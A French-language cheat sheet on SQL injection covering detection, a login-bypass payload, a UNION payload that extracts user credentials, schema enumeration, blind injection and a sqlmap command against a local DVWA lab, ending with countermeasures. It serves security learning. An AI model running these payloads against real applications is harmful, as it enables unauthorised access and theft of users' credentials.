Skip to content

Injections SQL

Fiche regroupant toutes les informations sur les injections SQL.

DĂ©tecter les injections SQL

  1. Envoyer le symbole '

  2. Envoyer des syntaxes SQL

  3. Envoyer des conditions booléennes OR 1=1, OR 1=2 et regarder les réponses.

Caractères spéciaux

Echappement

' permet de fermer une string dans une requète SQL.

-- permet de commenter le reste de la ligne.

+ permet dans les URL de remplacer les espaces pour notre requĂŞte SQL finale.

# permet de commenter les objets dans certain types de base de données.

Jockers

% est le caractère joker, il permet de remplacer n'importe quel caractère. Par exemple :

SQL
-- Tous les enregistrement commençant par le caractère a
%a

_ permet d'être remplacé par n'importe quel caractère, mais un seul uniquement. Par exemple :

SQL
-- Tous les enregistrement commencençant par b, avec n'importe quel deuxième caractère puis avec le troisième caractère n 
b_n

Exemples

Contourner une mire d'authentification

RequĂŞte SQL de l'application.

SQL
-- RequĂŞte SQL
SELECT * FROM users WHERE username = '<login>' AND password = '<password>'

On injecte admin '-- dans le champ login.

SQL
-- Requête complète
SELECT * FROM users WHERE username = 'admin'-- AND password = '<password>'

Nous voila désormais connecté en tant qu'administrateur sans avoir eu besoin de mot de passe.

Récupération d'informations supplémentaires

Exemple avec une boutique en ligne qui demande de choisir une catégorie

SQL
-- RequĂŞte SQL
SELECT name, desc FROM products WHERE category = '<category>'

On injecte une commande SQL avec une union gifts' UNION SELECT username, password FROM users--

SQL
-- Requête complète
SELECT name, desc FROM products WHERE category = 'gifts' UNION SELECT username, password FROM users--

Grâce à cette injection on peut également récupérer les identifiants et les mots de passe des utilisateurs.

Modification d'une logique booléenne

Il est possible de détourner la logique booléenne en injectant une règle toujours vrais ou toujours fausse. Par exemple :

SQL
1=1 --Pour toujours vrai
1=2 --Pour toujours faux

Renseignement

Détection des bases de données

On peut détecter les types de base de données avec ces quelques commandes.

Microsoft et Mysql

SQL
SELECT @@version

Oracle

SQL
SELECT * FROM v$version

PostgreSQL

SQL
SELECT version()

Ă€ utiliser avec une injection par UNION.

Lister les tables

On peut détecter les tables d'une majorité des bases de données en sélectionnant la table information_schema.tables.

SQL
SELECT * FROM information_schema.tables 

Lister les colonnes

On peut détecter les colonnes en consultant la table information_schema.columns.

SQL
SELECT * FROM information_schema.columns WHERE table_name = 'Users' 

Equivalents avec Oracle DB

Pour lister les tables

SQL
SELECT * FROM all_tables

Pour lister les colonnes

SQL
SELECT * FROM all_tab_columns WHERE table_name = 'USERS' 

Injection Ă  l'aveugle

Une injection à l'aveugle ou blind est une injection qui ne renvoi pas ces erreurs SQL. Elle est plus compliqué à exploiter, mais reste vulnérable.

Ne renvoyant pas les résultats des injections SQL, nous utilisons les commandes SQL SLEEP des différents SGBD pour vérifier si nos commandes sont correctements exécuté. L'exploitation est donc très très lente. Les injections étants très longues et complexes, il est recommandé d'être très précis dans leur exploitation et d'utiliser des outils tel que sqlMap pour obtenir de bons résultats.

Injection stoquée

Une injection stoquée est une injection qui n'est pas exécuter tout de suite. Elle est stoqué avant d'être exploité plus tard par l'applicatif vulnérable.

SQLMap

SQLMap est un outil permettant d'exploiter facilement les injections SQL.

Bash
# Exemple sur la page SQL de la DVWA
sqlmap -u 'http://localhost/vulnerabilities/sqli/?id=1%3D1&Submit=Submit#' --cookie="PHPSESSID=6jdlslu49mlb58sd7t4nsr70i4; security=low" -p id --random-agent

Options

  • -u '<url>' est l'url Ă  tester
  • --cookie="<nomCookie>=<valeur>; ="<nomCookie>=<valeur>" permet d'insĂ©rer des cookies d'authentification
  • -p <paramètre> permet de dĂ©finir explicitement quel champ l'outil doit tester
  • --random-agent permet d'utiliser un user agent parmis une liste prĂ©dĂ©fini par l'outil

Contre-Mesures

Pour éviter les injections SQL, il faut échapper les caractères dangereux appartenant au langages SQL comme ',-,#,%. On peut aussi contrôler la sortie en vérifiant le nombre d'arguments en retour à la requête et ainsi bloquer leur exploitation. La meilleur façon d'implémenter des requêtes SQL est d'utiliser des préparateurs de commandes fournis par des librairies spécialisés. Quand il est difficile de patcher directement les exécutifs, il est possible d'utiliser un WAF ou pare-feu applicatif qui filtrera directement les potentielles attaques dès les requêtes web.

Sources